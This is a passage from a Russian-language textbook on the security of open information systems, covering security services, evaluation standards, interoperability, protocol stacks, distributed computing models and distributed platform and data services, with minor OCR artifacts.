Каждая система требует формулировки политики безопасности (security policy) для того, чтобы определить, какой уровень защищенности и какие правила разграничения доступа требуются для информации, обрабатываемой в этой системе. Для осуществления на практике этой политики могут быть применены механизмы, которые гарантируют желаемый уровень безопасности. Совокупность всех аппаратных и программных компонентов, с помощью которых в системе проводится в жизнь установленная политика безопасности (ПБ), носит название комплекса средств защиты (согласно определению Гостехкомиссии РФ), в англоязычной литературе - ТС В (Trusted Computer Base). Кроме того, должны существовать некоторые способы оценки того, насколько хорошо эти механизмы реализуют заданную ПБ. Будем рассматривать только те механизмы, которые могут быть реализованы, измерены и оценены с точки зрения АР, исключая физические, организационные, юридические и прочие средства защиты.
Для обеспечения механизмов, реализующих ПБ и оценку их эффективности, в системе требуется наличие нескольких сервисов:
	сервисы аутентификации;
	механизмы контроля доступа;
	сервисы верификации (т. е. проверки целостности и полноты ресурсов системы);
	сервисы шифрования;
	сервисы аудита;
	средства установления доверия к каналам передачи и узлам обработки данных.
Наиболее важными стандартами, относящимися к сервису защиты в контексте проблемы обеспечения переносимости, т. е. без затрагивания взаимосвязи систем, являются:
	Стандарт IEEE Pl003.6, который специфицирует функциональные требования и стандарты интерфейса системы для механизмов защиты, аудита и контроля состояния системы. Он включает интерфейсы аудита, привилегий доступа к объектам, дискреционного и мандатного контроля доступа.
	ISO/IEC 15408 - Information technology - Security techniques - Evaluation criteria for IT security (Критерии оценки защищенности продуктов и систем ИТ). Стандарт описывает модель процесса проведения оценки защищенности продуктов и систем, дает классификацию функциональных требований к механизмам защиты, специфицирует критерии, по которым производится соотнесение функций защиты, реализованных в системе, тому или иному уровню гарантий защищенности. Стандарт состоит из трех частей: введения и общей модели, функциональных требований по защите и требований гарантий защищенности.
Сервисы административного управления системой. При стандартизации сервисов административного управления (management) открытыми системами в основном исходят из предположения о том, что управление осуществляется в распреде
1. Стандартизация и модельное представление открытых информационных систем	43
ленной среде. Поэтому, рассматривая свойство переносимости, можно только перечислить требования, которым должна удовлетворять одна, отдельно взятая вычислительная система:
	управляемость конфигурации процессоров;
	инсталляция и управление ПО;
	корректный запуск и останов системы;
	лицензирование ПО;
	управляемость и конфигурирование вычислительной сети;
	управление организацией хранения данных на дисках;
	диспетчеризация заданий;
	администрирование пользователей;
	учетность пользователей и ресурсов;
	управление защитой;
	управление производительностью системы;
	управление емкостью носителей данных;
	сервисы резервного копирования и восстановления информации;
	управление нештатными ситуациями;
	управление системой печати и пр.
Этот перечень показывает, что при создании сервисов управления системой требуется учитывать, что они должны взаимодействовать практически со всеми остальными сервисами, ресурсами и объектами АР.
1.4.	Способность к взаимодействию
Конечная цель взаимодействия систем - это обеспечение прозрачного доступа к любым ресурсам, несмотря на возможную неоднородность распределенной среды. Способность к взаимодействию необходима для поддержки широкого спектра функций систем и ПП: от сравнительно простых до полнофункциональных сред, объединяющих ИС крупных предприятий. Примерами могут служить следующие функции: электронная почта, передача файлов из одной открытой системы в другую, доступ к ПП на удаленной открытой системе, разделение файлов между несколькими системами, разделяемые базы данных, сложные ПП, использующие ресурсы на различных системах, целостность которых гарантируется системой управления распределенными транзакциями.
Какая бы из этих или иных функций ни применялась в системе, способность к взаимодействию обеспечивает более эффективное использование и уменьшает дублирование ресурсов, предоставляет новые пути разработки и распространения ПП в системе.
1.4.1.	Способы реализации способности к взаимодействию
Переносимость и способность к взаимодействию скрывают от пользователя различия между системами и стандартизируют способ их восприятия пользователями, ПП или другими системами. Важно отметить, однако, что, по существу, цель сокрытия различий состоит не в полной их ликвидации или в выравнивании, а, наоборот, в использовании уникальных возможностей и характеристик каждой индивидуальной системы. Пользователю только представляется образ единой системы.
44
Информационная безопасность открытых систем
Способность к взаимодействию обеспечивает несколько дополнительных преимуществ по сравнению с переносимостью.
	Она позволяет объединять существующие системы с новыми, сохраняя преемственность и инвестиции, уже вложенные в ИС.
	Она позволяет разрабатывать распределенные ПП. Это означает, что каждая из функций ПП может быть выполнена именно на той платформе, которая наилучшим образом подходит для этого.
	За счет прозрачного разделения ресурсов среды она создает такие условия для пользователя, что все ресурсы системы кажутся ему доступными локально.
Как уже отмечалось ранее, способность к взаимодействию достигается посредством:
•	соединения системы коммуникационными средствами, которые позволяют осуществлять передачу данных между системами;
	введения в систему набора дополнительных сервисов, которые используют коммуникационный сервис вычислительной сети.
Действительно, когда системы имеют средства связи между собой: коммуникационные средства внешней среды, сетевые сервисы платформы приложений, они таким образом обеспечены средствами обмена сообщениями. Сетевые сервисы не являются специфичными для какой-либо прикладной программы или типа ПП, работающих в системе. Это общецелевые сервисы, такие, как адресация, маршрутизация сообщений, обеспечение надежной их доставки и т. п.
Кроме того, для удовлетворения требований различных ПП необходим набор дополнительных сервисов. Но для того чтобы выполнять функции, которые ожидают от ПП конечные пользователи, прикладные программы должны "уметь" идентифицировать и распознавать среди всех передаваемых сообщений информацию, относящуюся к той или иной ПП. К примеру, при передаче файла сообщения должны содержать имя файла, его атрибуты и данные, содержащиеся в файле. При выполнении распределенной транзакции менеджеры транзакции будут обмениваться управляющей информацией о начале и конце транзакции, а также об операциях, проведенных над данными каждым из них. Очевидно, для того, чтобы системы могли взаимодействовать на уровне ПП, необходима стандартизация таких сообщений, т. е. описание форматов и протоколов, которые определяют синтаксис сообщений и правила осуществления обмена.
Таким образом, приходим к необходимости описания "комплекта", набора протоколов различных уровней (как видно из предыдущих рассуждений - по крайней мере двух).
Под протоколом принято понимать точно определенную последовательность действий, с помощью которой два или более логических объекта одного уровня совместно решают некоторую общую задачу. Иными словами, протоколы определяют логику взаимодействия удаленных логических объектов одного уровня.
Подобные многоуровневые наборы протоколов часто называют стеками протоколов. Основной принцип описания таких протоколов - информация, имеющая значение для протокола определенного уровня, переносится протоколом нижележащего уровня безотносительно к содержанию этой информации.
Вернемся к базовой модели ИС, введенной в п. 1.2.1. При рассмотрении переносимости обсуждались два типа интерфейсов АР: API и EEI с пользователями и внеш-
1. Стандартизация и модельное представление открытых информационных систем
45
ними объектами данных. С точки зрения способности систем к взаимодействию имеет значение другой компонент - EEI между АР и коммуникационными средствами внешней среды. Коммуникационные средства позволяют одной данной системе рассматривать все другие системы как часть внешней среды (рис. 6).
AS
АР
Сервисы человеко-машинного взаимодействия
Сервисы данных
Внутренние сервисы платформы
AS
Сетевые сервисы
Рис. 6. Базовая модель взаимодействующих систем (пунктиром обозначено взаимодействие распределенных сервисов)
Чтобы добиться способности к взаимодействию, необходимо стандартизировать форматы и протоколы обмена сообщениями через EEI, используя коммуникационные средства внешней среды. Часть EEI, которая управляет такими сообщениями, носит название коммуникационного интерфейса. Он включает в себя сетевые протоколы и высокоуровневые прикладные протоколы, необходимые для поддержки распределенных сервисов. Коммуникационный интерфейс - это единственный интерфейс, где две (вероятно, различные) системы непосредственно контактируют друг с другом. Он позволяет платформам приложений осуществлять взаимный доступ к ресурсам и предоставлять сервис друг другу, используя сетевые и соответствующие прикладные протоколы. Способность к взаимодействию обращается к таким функциональным возможностям, которые не затрагивает переносимость. Так, она организует доступ к тем сервисам АР, к которым пользователь или ПП не имеют прямого доступа через API. При этом не имеет значения, как именно реализуется внутри той или иной системы конкретный вид сервиса. Он вполне может использовать внутренние особенности и преимущества организации системы.
Заметим, что для достижения способности к взаимодействию нет необходимости стандартизировать API — только соответствующие форматы и протоколы. Также для этого не нужны стандарты на те сервисы, которые являются внутренними для АР, и те части EEI, которые взаимодействуют с внешними объектами данных и пользователями. Однако из этого правила есть исключение: стандартизация API сетевых сервисов способствует обеспечению взаимодействия на более высоком уровне. Тогда появляется возможность ввести в состав платформы прикладные программы, работающие с сетевыми сервисами, а их услугами уже могут пользоваться остальные ПП.
Установив необходимость многоуровневого взаимодействия открытых систем, рассмотрим более подробно основные преимущества такого подхода.
46
Информационная безопасность открытых систем
	Многоуровневая организация есть частный случай модульности - это позволяет легче понимать структуру системы.
	Протоколы различных уровней в стеке и виды передаваемой ими информации в основе своей независимы друг от друга. Несмотря на то что каждый уровень выполняет свою работу по указанию вышестоящего уровня, способ выполнения запроса не имеет значения для сделавшего запрос.
	Уровневые сервисы всегда включают некоторый сервис по транспортировке данных, который предоставляется верхним уровням. Это означает, что, хотя каждому объекту некоторого уровня кажется, что он взаимодействует с объектом того же уровня, на самом деле перемещение данных по всем уровням, кроме самого нижнего, происходит "вертикально". И только нижний уровень действительно перемещает данные "горизонтально".
Перечислим основные принципы многоуровневого взаимодействия.
Взаимодействие по принципу сервисов и протоколов. Каждый уровень взаимодействия предоставляет сервисы уровню, расположенному над ним, и сам, в свою очередь, пользуется сервисами уровня, расположенного под ним. Сервис определенного уровня доставляется посредством протокола этого уровня. Уровень, запросивший сервис, не видит протокола нижнего уровня. Таким образом, протоколы образуют каскад сервисов, предоставляемых с верхнего уровня до нижнего.
Мультиплексирование. Множество объектов верхнего уровня может параллельно использовать сервис нижнего уровня. Множество сервисов различного качества и различной функциональности может предоставляться на каждом уровне по соглашению между партнерами.
Свобода выбора протокола. Каждый уровень может выбирать свой собственный протокол независимо от других уровней. Кроме того, четкое разделение функций между уровнями допускает дальнейшую декомпозицию уровня на подуровни, вставку протоколов "поверх" и "внизу" уровня.
Качество сервиса. Каждый отдельный уровень может предлагать альтернативные возможности реализации сервиса, гарантированно определяющие некоторые его свойства или параметры, например скорость, надежность соединения.
Адресация. Любая форма коммуникации требует какой-либо подходящей формы адресации. На каждом уровне формат адресации является частью соответствующего протокола.
Виды соединений. Различают два вида организации взаимодействия в протоколах: с установлением соединения и без установления соединения. В первом случае для передачи серии сообщений устанавливается выделенное соединение, которое обеспечивает подтверждение доставки, обнаружение ошибок, повторную передачу и восстановление порядка следования сообщений. Примером связи с установлением соединения являются услуги телефонной сети. Во втором случае каждое сообщение передается независимо от остальных, содержит полную информацию об адресах отправителя и получателя и в принципе может передаваться по различным маршрутам. В общем случае такая форма передачи сообщений является ненадежной, но быстрой. Она может приводить к потере, возникновению ошибок в сообщениях, изменению порядка их следования или к повторным передачам. Это, однако, может быть выявлено и исправлено средствами верхних уровней. Пример такой связи — почтовая служба.
1. Стандартизация и модельное представление открытых информационных систем
47
Ограниченность связей. Объекты взаимодействуют между собой на одном уровне "горизонтально" по протоколам, потоки данных движутся "вертикально" (за исключением самого нижнего уровня). Каждый уровень добавляет управляющую информацию, специфичную для протокола этого уровня. На самом нижнем уровне, таким образом, передается сложный конгломерат данных. Каждый уровень при такой форме связи "видит" только смежные с ним уровни.
Классическим примером многоуровневой модели взаимодействия вычислительных систем является семиуровневая модель взаимосвязи открытых систем, описанная в стандарте ISO/IEC 7498 - Information technology - Open Systems Interconnection -Basic Reference Model, известная как модель OSI (п. 1.5.1).
Кроме OSI, существует еще большое количество многоуровневых моделей взаимодействия вычислительных систем и соответствующих им стеков протоколов: DNA (Digital Network Architecture), AppleTalk, SNA (System Network Architecture), TCP/IP [10] и др. Вследствие несовместимости между различными моделями добиться способности к взаимодействию на практике существенно более сложная задача, чем это может показаться теоретически. Для этого требуется организовать "мосты" между различными моделями (стеками протоколов) и сделать их существование прозрачным для пользователей и ПП. Более того, исторически не существовало единого и четкого разделения протоколов на указанные уровни. Поэтому различные стеки протоколов не обязательно согласуются между собой по разбиению на уровни, выполняемым на этих уровнях функциям и даже по числу уровней. Все это порождает определенную зависимость протоколов верхних уровней от нижних для каждого конкретного стека протоколов.
Вторым необходимым условием взаимодействия систем, как уже отмечалось, является введение в систему набора распределенных сервисов ПП, которые используют сетевые сервисы АР и расширяют таким образом свои собственные сервисы. Распределенные сервисы удобно рассматривать, придерживаясь той же классификации, которая применяется и для сервисов локальной платформы:
	распределенные сервисы платформы;
	распределенные сервисы данных;
	распределенные сервисы человекомашинного взаимодействия.
В качестве примеров сервисов из соответствующих групп можно привести вызов удаленных процедур, передачу файлов и удаленный вход в систему.
Дополнительно рассматриваются межкатегориальные сервисы. Такое представление согласуется с концепцией единой РВС, где все аспекты взаимодействия между отдельными системами регулируются внутри АР.
Часто протоколы, соответствующие в стеке коммуникационных протоколов сетевым сервисам и распределенным сервисам ПП, называют соответственно транспортными провайдерами (transport provider) и транспортными пользователями (transport user). Первые обеспечивают базовые, не зависящие от приложений функции по доставке сообщений через сеть. Вторые строятся на сетевых сервисах и расширяют сервисы АР в распределенных системах. В коммуникационных моделях они примерно соответствуют или отождествляются с самими ПП.
Еще одна существенная проблема, связанная с обеспечением способности открытых систем к взаимодействию, необходимость организации распределенных вычис
48
Информационная безопасность открытых систем
лений между компонентами, составляющими уровень транспортного пользователя. Известно несколько моделей организации распределенных вычислений (рис. 7):
	клиент-сервер;
	хостовая (host-based);
	ведущий-ведомый (master-slave);
	иерархическая;
	одноранговая (peer-to-peer);
	модель управления распределенными объектами (distributed object management model).
Модель клиент-сервер
Хостовая модель
Модель ведущий-ведомый
Рис. 7. Модели распределенных вычислений (начало)
1. Стандартизация и модельное представление открытых информационных систем
49
Одноранговая модель
Платформа 1	Платформа 2
Модель управления распределенными объектами Сервер
Функции управления данными
Логика ПП
Клиент
Функции представления данных
Клиент
Функции управления данными
Логика ПП
Рис. 7. Модели распределенных вычислений (окончание)
Цель введения этих моделей заключается в том, чтобы составить из программных и аппаратных компонентов РВС работоспособную конструкцию. Рассмотрим их подробнее.
Модель клиент-сервер означает обработку запросов, подаваемых компонентом открытой системы, называемым клиентом (т. е. просителем услуг), компонентом-сервером (т. е. поставщиком услуг), который возвращает результаты исполнения запроса клиенту. И клиент и сервер физически могут быть реализованы аппаратно, программно, микропрограммно.
Клиент-серверная модель организации вычислений получила очень широкое распространение: она является самой оптимальной в условиях неоднородной распределенной вычислительной среды с дисбалансом вычислительных мощностей. Однако клиент-серверная обработка предъявляет и определенные архитектурные требования:
50
Информационная безопасность открытых систем
наличие надежной связи между клиентами и серверами, разделение логики ПП между клиентом и сервером, координация взаимодействий между клиентом и сервером, инициируемых клиентом, контроль сервера над сервисами и данными, которые запрашиваются клиентами, разрешение сервером конфликтующих запросов клиентов.
Основные преимущества клиент-серверных вычислений заключаются в возможности широкого внедрения в РВС относительно маломощных вычислительных систем, снижения сетевого трафика (так как обработка данных приближается к источнику данных), использования графического пользовательского интерфейса, поддержки стандартов открытых систем.
Клиент-серверные вычисления в распределенной вычислительной среде прочно связаны с концепцией middleware. Этот термин является сокращением и может быть интерпретирован как ПО среднего слоя. Идея дополнения системного ПО этим компонентом возникла из естественного стремления сократить трудоемкость разработки прикладного ПО для работы в клиент-серверной модели. Middleware - это соединяющий уровень коммуникационного ПО между физической сетью передачи данных и приложениями пользователя, выполняющего функции транспортного пользователя, в общем случае эквивалентное уровням 5 и 6 модели OSI (п. 1.5.1). Со стороны ПП это ПО содержит упрощающие программирование высокоуровневые API, которые "экранируют" разработку прикладного ПО от сложных коммуникационных протоколов на нижних уровнях. Используя инструменты и продукты middleware, программисты могут сфокусироваться на создании собственно логики ПП, не разрабатывая при этом сложные коммуникационные протоколы и интерфейсы. С появлением более сложных моделей открытых распределенных вычислений и постоянным расширением состава ПО, который можно отнести к среднему уровню, концепция middleware стала "поглощаться” этими моделями.
Хостовая модель вычислений исторически связана с развитием систем централизованной обработки данных на базе мейнфреймов и суперкомпьютеров и потому сохраняет актуальность и сегодня, так как мейнфреймы получают новое развитие на базе современных технологических возможностей. В этой модели все функции как по управлению данными, исполнению логики ПП, так и по представлению данных для пользователя выполняются на платформе - хосте, а присоединенный к нему терминал является только техническим средством работы пользователя с хостом, не выполняя никаких функций по обработке данных. (Определение хоста вводится далее.)
Модель ведущий-ведомый занимает в некотором роде промежуточное положение между двумя названными выше: ведущая платформа (master) по команде передает часть своих функций для выполнения их ведомой платформой (slave).
Иерархическая модель является обобщением модели клиент-сервер на случай, когда один и тот же компонент открытой системы является клиентом для одних и сервером для других компонентов, образуя таким образом многоярусную, иерархически соподчиненную структуру взаимодействующих компонентов.
Одноранговая модель (peer-to-peer) предполагает полное равноправие взаимодействующих компонентов, когда каждый из них может быть и сервером и клиентом.
Модель управления распределенными объектами (distributed object management model) тесно связана с концепцией объектно-ориентированной обработки данных. И клиенты и серверы представляются в форме объектов, взаимодействующих между собой через стандартный интерфейс. Вызовы удаленных процедур заменяются сооб
1. Стандартизация и модельное представление открытых информационных систем
51
щениями, посылаемыми объектам. Сервисы, предоставляемые отдельными открытыми системами остальным системам, также трактуются как объекты. Запрашивающему нет необходимости знать детали того, как сконфигурированы объекты. Объектно-ориентированный подход требует введения в РВС следующих элементов:
	механизма диспетчеризации сообщений;
	механизма координации доставки сообщений;
	ПП и сервисов, которые поддерживают интерфейс пересылки сообщений (messaging interface).
1.4.2.	Классификация сервисов платформы приложений
ПО КРИТЕРИЯМ СПОСОБНОСТИ К ВЗАИМОДЕЙСТВИЮ
Проведем теперь функциональную декомпозицию модели ИС и подробно рассмотрим номенклатуру сервисов платформы приложений, которые обеспечили бы максимально полную способность к взаимодействию между' открытыми системами. При этом будем придерживаться плана рассмотрения сервисов платформы, аналогичного тому, что был использован ранее при классификации сервисов по критериям переносимости.
1	. Сетевые сервисы. Функция сетевых сервисов - предоставление общих услуг по транспортировке между открытыми системами сообщений, посылаемых ПП. Сетевые сервисы могут быть, в свою очередь, подразделены на две группы согласно тому, видимы или нет они для транспортных пользователей.
К сервисам, видимым ПП напрямую, относятся: установление и разрыв соединения с партнером, управление качеством сервиса для передачи данных, выбор функций сообщения о состоянии сети. Но даже эти сервисы могут быть скрыты от ПП в некоторых формах коммуникаций, например при удаленном вызове процедур - RPC (Remote Procedure Call). Другие сервисы, невидимые для ПП, относятся к нижним уровням стека протоколов. Они обычно связаны с физическими аспектами сети, включая следующие:
	сообщение об ошибках и восстановление после ошибок;
•	сегментация сообщений в пакеты установленного в сети размера и их повторная сборка;
	директориальные сервисы, которые обеспечивают преобразование символических имен сетевых ресурсов в адреса;
•	многопутевая маршрутизация, которая позволяет сообщениям передаваться различными маршрутами от точки отправления до точки получения;
	физический доступ к узлам сети;
	управление потоками, включая средства обнаружения состояний переполнения и регулирования интенсивности трафика.
Нижний уровень модели (транспортный провайдер) часто рассматривают как состоящий из двух подуровней [11].
Первый — уровень сети передачи данных — это нижний уровень, ответственный за управление трафиком, передающимся от узла к узлу внутри единичной физической сети передачи данных (subnetwork). Примерами сетей передачи данных являются сети Х.25, локальные сети стандартов IEEE 802.x, Frame Relay, ATM, двухточечные линии связи. Сети передачи данных можно классифицировать по следующим признакам:
52
Информационная безопасность открытых систем
	по используемой технологии передачи данных: с образованием соединений, с разделением канала;
	по территориальной распределенности и связанным с этим особенностям организации: локальные (LAN), глобальные (WAN), городские и сети среднего уровня (Metropolitan Area Network, MAN).
Существует большое количество стандартов по технологиям, связанным с организацией сетей передачи данных. Однако они не имеют прямого отношения к достижению -основных качеств открытой среды: переносимости и способности к взаимодействию. Скорее они служат отправной точкой для разработки таких стандартов.
Второй - межсетевой уровень — это верхний (из двух) уровень транспортного провайдера, ответственный за формирование единой логической сети (internetwork) из совокупности физических сетей передачи данных (subnetworks). Этот уровень обеспечивает формирование единого адресного и маршрутного пространства, которое накладывается на все нижележащие сети передачи данных, но в то же время не зависимо ни от одной определенной сети передачи данных. Межсетевой уровень позволяет строить единую, прозрачную для пользователя логическую сеть из множества взаимно соединенных локальных и глобальных сетей.
Конечной целью объединения сетей является обеспечение надежной и прозрачной доставки сообщений между любыми открытыми системами через множество промежуточных систем, независимо от объединяемых сетей. Другими словами, формируется транспортная система, которая компенсирует любые различия во входящих в нее сетях, чтобы обеспечить необходимый уровень сервиса для ПП. Иногда такой компенсации не требуется, но транспортная система всегда обеспечивает не зависящий от сети передачи данных коммуникационный механизм между двумя оконечными взаимодействующими системами. С точки зрения ПП она гарантирует, что сообщения успешно достигнут другой системы.
Модели взаимодействия открытых систем и соответствующие им стеки протоколов, такие, как OSI, SNA, DNA, не специфицируют API к своим сетевым сервисам. Это и не требуется: способность к взаимодействию уже может быть обеспечена за счет единства протоколов и форматов данных. Однако определение и использование стандартных API для сетевых сервисов содействует упрощению разработки и развертывания в системе распределенных ПП, так как обеспечивает более высокоуровневое взаимодействие между открытыми системами. Этим, в частности, объясняется широкое распространение протоколов TCP/IP.
Наиболее известными стандартами на API для доступа к транспортным сервисам являются:
	интерфейс сокетов (socket interface), берущий начало из версии Unix BSD;
	XSOCKET, стандартизованный X/Open;
•	ТЫ (Transport Layer Interface), частично основанный на сокетах, а частично на стандарте ISO 8072 по транспортному сервису;
	XTI (X/Open Transport Interface), который базируется на TLI, но может поддерживать несколько стеков протоколов: TCP/IP, NetBIOS, OSI, SNA.
Несколько иной подход представляет технология MPTN (Multiprotocol Transport Networking), разработанная IBM и принятая X/Open. Она компенсирует неоднородности в функциональности различных транспортных протоколов за счет введения дополнительного уровня над транспортным - CTS (Common Transport Semantics).
1. Стандартизация и модельное представление открытых информационных систем
53
MPTN позволяет "смешивать" в произвольной комбинации транспортные провайдеры и транспортные пользователи, делая ПП независимыми от применяемых сетевых протоколов. Следовательно, прикладные программы могут использовать транспортную систему, отличную от той, которая ассоциирована с высокоуровневыми прикладными протоколами.
2. Сервисы распределенной платформы. Любая прикладная программа включает три компонента: логику, сервисы данных и сервисы представления информации. Логика выполняет специфические для конкретной прикладной программы функции и реализуется с помощью системных сервисов и сервисов языков программирования. Сервисы данных ПП выполняют операции ввода-вывода, требуемые ПП. Сервисы представления ПП управляют взаимодействием с пользователем. Эти компоненты эквивалентны соответствующим сервисам в рассматриваемой модели. Если прикладная программа становится распределенной, существует три возможности ее "расщепления" согласно перечисленным компонентам.
Разделение сервиса представления. Распределение прикладной программы заключается в распределении сервиса представления - все остальные компоненты работают на одной локальной платформе. В этом случае программа не осведомлена о том, что она работает в распределенной среде, так как имеет доступ к сервисам представления на своей локальной платформе. Распределенный характер прикладной программы выражается, например, в процедуре удаленного входа в систему (remote login) или в распределенном графическом интерфейсе пользователя (GUI).
Разделение сервиса данных. В этом случае прикладная программа также не имеет представления о том, что данные или ресурсы являются удаленными. Программа имеет доступ к сервисам данных так, как если бы они были для нее локальными.
Разделение логики прикладной программы. В этом случае различные функции ПП выполняются на удаленных друг от друга платформах, поэтому для взаимодействия между компонентами ПП требуется та или иная форма коммуникаций. Эта форма распределения наиболее значима для РВС, так как позволяет достичь наибольших преимуществ (выигрыш в производительности, параллельная обработка, наиболее полная загрузка процессоров и т. д.).
Все три случая имеют схожие требования, и все так или иначе используют коммуникационные сервисы. Различаются они только в том, что в первых двух случаях коммуникационные возможности задействуются системой, а в последнем случае их использование является заботой ПП. Распределенная прикладная программа в последнем случае, очевидно, сталкивается с необходимостью определенной координации функционирования своих компонентов. Основными требованиями со стороны распределенных ПП являются обеспечение возможности связи между' компонентами ПП, обеспечение возможности обнаружения компонентов в РВС и обеспечение синхронизации работы компонентов ПП.
Сервисы распределенной платформы - это расширения внутренних сервисов платформы, рассмотренных при обсуждении классификации сервисов по критерию переносимости, перенесенные в распределенную среду. Они предоставляют основные механизмы распределения ПП, обеспечивают функции по координации распределенной работы ПП. Часто они также носят название сервисов распределения. Сообразно трем основным классам ПП в распределенной среде можно выделить три
54
Информационная безопасность открытых систем
класса таких сервисов: сервисы межпроцессного взаимодействия, сервисы именования ресурсов и сервисы времени.
Сервисы межпроцессного взаимодействия. Существует три основные модели организации взаимодействия между' программами.
Диалоговая (conversational) модель. 1III общаются друг с другом посредством посылки вызовов: "установить соединение", "послать сообщение", "принять сообщение", "разрушить соединение" и т. п. Это форма связи с установлением соединения.
Наиболее известными стандартами, в которых определяется диалоговая модель коммуникаций, являются ISO 10026 - OSI Distributed Transaction Processing и архитектура АРРС (Advanced Program-to-Program Communication) фирмы IBM.
Удаленный вызов процедур (Remote Procedure Call, RPC). Эта модель является расширением традиционного метода вызова процедур в языках программирования. Удаленный вызов процедуры заключается в однократном обмене сообщениями между' вызывающей и вызываемой процедурами, как при локальном вызове. При этом использование коммуникационных сервисов происходит невидимо для обеих процедур. RPC может иметь место как с установлением соединения, так и без него. Но с точки зрения ПП он является синхронной формой коммуникаций, так как оба партнера должны быть активны в одно и то же время, а вызывающая процедура приостанавливается на время выполнения удаленной. Эта форма коммуникаций обычно ассоциируется с моделью вычислений клиент-сервер.
Основными стандартами по удаленному вызову процедур являются Sun RPC, OSF RPC как основа OSF DCE (Distributed Computing Environment) и OSI RPC - стандарт ISO 11578.
Очереди сообщений (message queuing). При этой форме взаимодействия один из процессов помещает свои сообщения в очередь, другой извлекает их оттуда. Это форма коммуникаций без установления соединения.
Существует проект международного стандарта по этому виду коммуникаций -ISO/IEC DIS 10026-7 Information technology - Open Systems Interconnection -Distributed transaction processing - Part 7: Message queuing.
Сервисы именования ресурсов. Эти сервисы и директориальные сервисы являются критическими для распределенной среды, так как размещение и обнаружение ресурсов в ней намного сложнее, чем в локальной системе.
Необходимым условием является присвоение всем объектам, ресурсам и ПП в распределенной среде уникальных глобальных имен. Такие имена должны быть аппаратно- и архитектурно-независимыми. Другими словами, необходима единая логическая схема именования ресурсов, с помощью которой можно обращаться к любым объектам или ресурсам, существующим в системе.
Другое требование состоит в том, что директориальный сервис должен самостоятельно отображать логические имена на реальные адреса объектов. Для этого необходимо определять местоположение объекта и предоставить подходящий коммуникационный протокол для доступа к нему.
Среди схем именования ресурсов наибольшее значение имеют схема ISO, являющаяся частью модели OSI, и доменная система имен {Domain Name System, DNS), используемая в Интернете (RFC 1034, RFC 1035). Основным стандартом на директориальный сервис является рекомендация Х.500 и ее эквивалент ISO 9594. X/Open специфицировала стандарт на API для доступа к директориальному сервису Х.500 -
1. Стандартизация и модельное представление открытых информационных систем
55
XDS (X/Open Directory Services). Спецификация OSF DCE Directory Service обеспечивает механизм для совмещения обоих стандартов: DNS и Х.500.
Распределенные сервисы времени. В локальной системе обычно существует единственный системный таймер, услугами которого могут пользоваться все ПП. Однако в распределенной среде, состоящей из множества вычислительных систем, различные системы вследствие многих причин (разница хода часов, задержки передачи в сети и пр.) могут иметь различные значения текущего времени. Для обеспечения нормальной работы ПП иногда необходима синхронизация показаний таймеров на всех системах, входящих в распределенную среду. Существуют следующие стандарты де-факто на распределенный сервис времени: DCE Distributed Time Service и RFC-1119 (Network Time Protocol).
Реализация сервисов распределенной платформы отличается от реализации внутренних сервисов локальной платформы приложений. Если в локальной среде они представляются соответствующими элементами ПО: ОС, трансляторами, СУБД и т. п., то в распределенной среде соответствующие сервисы реализуются специально назначенными для выполнения определенных функций аппаратно-программными системами - серверами, например директориальными серверами, серверами времени. Система может выполнять роль сервера для нескольких сервисов одновременно, а может одновременно служить сервером для одного сервиса и быть клиентом другого.
3. Распределенные сервисы данных соответствуют разбиению ПП по сервисам данных. Они являются естественным расширением соответствующих сервисов в локальной среде. Выделяют следующие группы сервисов данных: сервис обмена данными, сервис передачи файлов, сервис управления сообщениями (электронная почта), распределенный файловый сервис, сервис распределенных баз данных, распределенный сервис печати, сервис распределенной обработки транзакций.
Сервис обмена данными. Общим условием для реализации всех вышеперечисленных сервисов является требование представления данных в едином формате -синтаксисе, понятном всем ПП и всем платформам. Это дает возможность передавать и корректно интерпретировать взятые с одной платформы данные на другой платформе. Основными стандартами по синтаксису данных являются ISO/IEC 8824 -Information technology — Open Systems Interconnection — Specification of Abstract Syntax Notation One (ASN.l) и ISO/IEC 8825 - Information technology - Open Systems Interconnection - Specification of Basic Encoding Rules for Abstract Syntax Notation One (ASN.l).
Сервис передачи файлов. Передача файлов является одним из основных способов разделения данных между' взаимодействующими системами. Сервис передачи файлов подразумевает, что всякий раз, когда прикладная программа требует данные, которые, как оказывается, хранятся на другой системе, файл с этими данными целиком копируется из удаленной системы в локальную. Прикладная программа может работать с переданным файлом и при необходимости имеет возможность возвратить его обратно, внеся в локальную систему изменения в содержании файла. Сервис передачи файлов в распределенной среде может сталкиваться с существованием множества различных файловых систем и методов доступа к файлам.
Обычно сервис передачи файлов подразумевает, что существует пользователь или прикладная программа, которые управляют передачей файла между двумя системами. Этот пользователь, как правило, размещается на системе-получателе. Передача
56
Информационная безопасность открытых систем
файла включает два вида взаимодействия: управляющие операции, которые выполняются пользователем или прикладной программой (контроль доступа, выбор файла, управление файлами и атрибутами файлов) и протокол передачи файлов. Файловые системы обеих взаимодействующих систем должны представляться как некоторое условное хранилище файлов в форме, одинаково интерпретируемой обеими системами. Для доступа к реальным данным каждая система должна спроецировать этот образ на реальную файловую систему.
Существует два основных стандарта по сервису передачи файлов.
1. Стандарт де-юре ISO 8571 - Information processing systems - Open Systems Interconnection — File Transfer, Access and Management (FTAM).
2. Стандарт де-факто RFC 959 - File Transfer Protocol (FTP), используемый в стеке протоколов TCP/IP.
Стандарты ISO по сравнению со стандартами RFC обладают значительно большей функциональностью, но дополнительные функции приводят к значительно более объемному и сложному программному коду при реализации и большим накладным расходам при исполнении этого кода системой. К тому же на практике обычно используется лишь небольшое подмножество этих функций. Это замечание остается справедливым и при сравнении многих других соответствующих стандартов ISO и RFC.
Сервисы управления сообщениями. Эти сервисы имеют следующие характерные черты.
Для доставки сообщений используется метод хранение и продвижение (store-and-forward). Это означает, что пользователи не устанавливают между сбой непосредственно сеанс связи, а взаимодействуют с сервисом управления сообщениями, передавая ему поручения по пересылке сообщений. Локальная и удаленные системы совместно несут ответственность за посланное отправителем сообщение и гарантируют его доставку, даже если в текущий момент отсутствует соединение с удаленной системой-получателем или она является неактивной. Сервис управления сообще- ниями -асинхронная форма коммуникаций без установления соединения.
В отличие от сервиса передачи файлов отправитель и получатель здесь - это конечные пользователи (люди или ПП), а не файловые системы.
•	Сервис предусматривает специальные возможности для групповой и широковещательной рассылки сообщений, ведения адресной книги и пр.
	Сервис предусматривает пересылку различных видов сообщений: обычного текста, файлов, сложных документов, факсов и пр.
	Сервис управления сообщениями не интересуется содержанием передаваемых сообщений.
